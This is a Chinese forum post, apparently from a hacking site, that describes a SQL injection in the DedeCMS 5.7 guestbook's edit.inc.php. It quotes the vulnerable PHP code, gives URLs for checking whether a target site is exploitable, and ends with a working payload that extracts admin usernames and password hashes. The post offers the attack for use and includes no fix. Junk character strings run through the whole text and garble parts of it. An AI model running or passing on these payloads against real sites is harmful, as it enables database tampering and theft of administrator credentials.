影响版本为5.7
2 X7 o# u' J2 f, J! N4 b/ K( f- q+ I
) b. Z% d- |8 {7 ~% m# c7 i漏洞文件edit.inc.php具体代码:: T. g6 l0 n% x
$ i( `) G6 F" g$ O# I" @9 t% B h6 H< ?php - C+ G- I1 k; e* ]/ v4 M, D% H7 R
/ Y4 e1 F' I( b3 Q
if(!defined('DEDEINC')) exit('Request Error!'); 0 K& G! d5 Z7 L% C P- C- G
1 v' t/ N* m1 _1 z$ |, X
5 G. l2 i! ^# P$ ]
: L+ h% u, C: R0 o6 ~if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
# n, Z0 d& ~/ d' T& e% f; P- i2 k; ]5 @3 k7 U2 b
else $GUEST_BOOK_POS = "guestbook.php"; 4 T0 c T" S% d' ]
) ]3 s4 Q8 @" ]! g! H 9 I! W) V# Q5 i1 G6 ~ V6 q7 M
! {0 U# b& p0 L9 G$id = intval($id); / m; [/ D% ?6 e5 ~+ Z; z n
: d/ r. `1 p0 ?4 `& z" h8 aif(empty($job)) $job='view';
6 T7 k4 ?. r& G+ x1 d) Z( V' c
+ q, i Q, [6 \; H; X ) X$ D1 O) Q4 q. s9 C+ t! B
& M: V q0 q3 r# Xif($job=='del' && $g_isadmin)
5 ^$ c7 g4 L$ }. {' z& R- b- x
1 x9 X, D# M; ~9 b6 Z$ |0 }{
, ^/ D4 @5 b4 d0 N) m' w
4 f- I% F. G& ?' m$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ; d- Z! i7 m: C: ?9 D; I P3 g+ N
' R" ]& a5 W5 H
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); + R& b! ~( i0 \; `" |( P; b
% y! c9 ~. @0 }% O$ K9 P1 T* g0 Y
exit();
; G" |! [5 a) ~& C( A: }0 F+ l- D# B6 t; ~9 e& Q
} 3 e9 P& b* T/ Z s4 l, Q$ d
, B0 l) i+ x: Y7 I3 ]& {5 Helse if($job=='check' && $g_isadmin)
( \. y0 f2 @0 ?7 R: m3 g, Y ^, S+ v9 ]5 t
{
1 [3 Q7 q8 E6 n; ~
( Q9 P1 \+ q2 }1 k$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
* N& K9 @1 S6 _3 l* f6 B7 _! `% \' M2 p, c5 P4 J. C8 G' Q
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
' Z* S z5 X: v5 S: i
9 \& M& J7 v/ E: E8 eexit();
" {6 x; }7 U3 N3 b8 `' ~6 [& i! e+ ^1 [5 ~. c2 V) Y' p
}
. ?2 w" t: W2 E6 i3 s$ i" P# ^1 H- J3 ~- [& M8 ~8 z
else if($job=='editok') - }5 u4 u. S- }4 o% b9 n! S
4 g; _' c: m% A) h; r. v& p* d- ~{ & ?7 K X& _' `- i3 f) u! r$ l: U+ |3 V
! D% U* q% Y( |& C7 N; s
$remsg = trim($remsg);
( f. V( D; C; a% i; H# y/ i/ t8 n* b A4 S! F; \* L
if($remsg!='') ! D0 S$ I) G# P/ ]4 b2 ]
9 v; q3 B$ P" W8 ^: n* Z
{ 1 T }( g# y' |! K4 h, }% G
/ y/ i% p8 V; G
//管理员回复不过滤HTML By:Errorera blog:errs.cc
9 h; E" H0 g" Y; l0 k3 i* q o" g( R( e1 q* \
if($g_isadmin) % _- l R1 f2 _
[% j( B, e! k7 l% U" w
{ ( o) r/ @ o9 y' u F$ f
' j/ C, m: y( D% C$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 4 w* {% \, r: m$ |/ p0 r
! S9 Q& f# G0 d e7 v( y) |2 H3 a//$remsg <br /><font color=red>管理员回复:</font> }
$ ?) k" }5 f+ S6 p: m9 [
) Y, x2 G1 g1 m8 E) ~& Oelse & ~5 w( S, r4 n
& Q. u4 H+ @% M4 c3 b1 y6 v( [( x{
1 y" n& X* ]* \4 q1 L2 ~: V0 v" }8 f% F3 j z: S/ h9 }& d
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); * d( a' w) D q9 ~1 f
; U/ j: {4 ]) }1 A( J9 v$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 9 L! S4 K& v; ?' Q" @8 |
* g$ ]5 T5 s5 J! ~; i" c6 }* \7 U$remsg = trimMsg(cn_substrR($remsg, 1024), 1); + {/ V; |0 D7 F; [" N7 d; k I
I: @& E8 |1 i
$msg = $oldmsg.$remsg;
: S) u: C( W C6 v1 l. g
( c" x' \! l3 m- q4 C0 r} 2 N! ?! d) N2 y; K0 I: P
0 m0 i9 v Y" }5 ~ k6 p" p}
8 ?2 T& D# b$ c1 s" r
V7 u% D. u- C- a3 L) L//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
- N; j7 [5 P" T) J' f3 Y, U+ z0 @/ I$ k( a
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); 4 z/ q, @+ e- `+ O
2 `3 H+ Z' q7 l& `+ ]/ q3 l2 @+ ^7 aShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); 3 c, S. y' Q- M' r: W7 Y3 F
1 F; ~' q: r6 i& \7 R) Y
exit(); 8 p4 P% b; k" ^+ `; ]& J* _ _
# t# [$ R6 {! g9 r
}
& }4 X+ C$ n6 o5 m4 v: z# ?! U3 `
( t! S8 s/ H5 G; }; r; b//home:www.errs.cc
9 S$ D9 Y/ A8 e1 a2 K- t1 r+ E' n) ^1 S( D' g+ @' c
if($g_isadmin)
4 R8 i6 }2 |9 L$ o m/ S/ J! r' }8 [/ m& F! I8 P# v
{ 2 w$ d( i! e; u. ^5 R+ h% |
1 q$ d; @; z+ f$ N$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
+ G9 {1 R: L9 @+ i4 E/ M: l4 v/ |5 @5 }- k2 [4 k
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ; a% b. Z. j4 O/ w9 y4 c
/ o& ~# j4 `* |) R1 P( V9 Q b}
1 s6 A& s8 R/ m2 r5 O7 x" i. [1 X6 I' d4 \4 r# U
else
3 W; v7 D# ~, a5 w* o4 D" L$ O# l8 L/ o9 v' g% F, H4 T
{ " Q9 W& c$ \1 R4 `* z8 x
S: }+ U, v& n7 d; [/ m
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
5 z/ [& o. ~$ e+ v
2 r3 V7 R: d; I, b# R Lrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
8 z2 I, X- D G5 c
& p5 a. s# b1 n; A3 k} 漏洞成功需要条件:4 S" I9 I" k x; T2 C; U
1. php magic_quotes_gpc=off! D! {" x7 M$ j# e3 L( ^. N
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! Q. n& r( l! h. @7 X
+ u8 \/ z2 p2 ^. H怎么判断是否存在漏洞:
5 ^) E0 i0 k9 `. e9 a先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,% e; t: T7 ^( b6 h; G' y. s6 ^
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID6 R h1 K. n' o" W: r5 P
访问:
1 t8 S) ~% r5 g1 M" N0 z; Z5 V
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了 B; B' b" ^# f- P# L
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
1 A" }7 G3 r( M# e
- ~! f* u& P$ d% ^* Y D5 [$ O; I4 e6 o0 ]& Q" b6 Q# B& b
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
* Z3 A1 F8 M$ e' e1 z% L$ m如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
, p f( ]& a ?8 i- |( L那么再次访问) Y! Z* l1 ~' I. b2 u6 |6 U) @
7 A& h7 Y& h: P9 e) ?4 @www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().$ Z \9 z4 i: \1 N+ W1 { Q! {
" l/ |6 R8 X; @
大概利用就是这样,大家有兴趣的多研究下!!
$ U, K y+ e1 Z2 A- u# U8 W1 v; }# P! N* \5 x) v
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
) B+ q9 ]5 r" Z8 ?# Q' p8 w
) a' N T9 @9 h5 j( t5 qview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |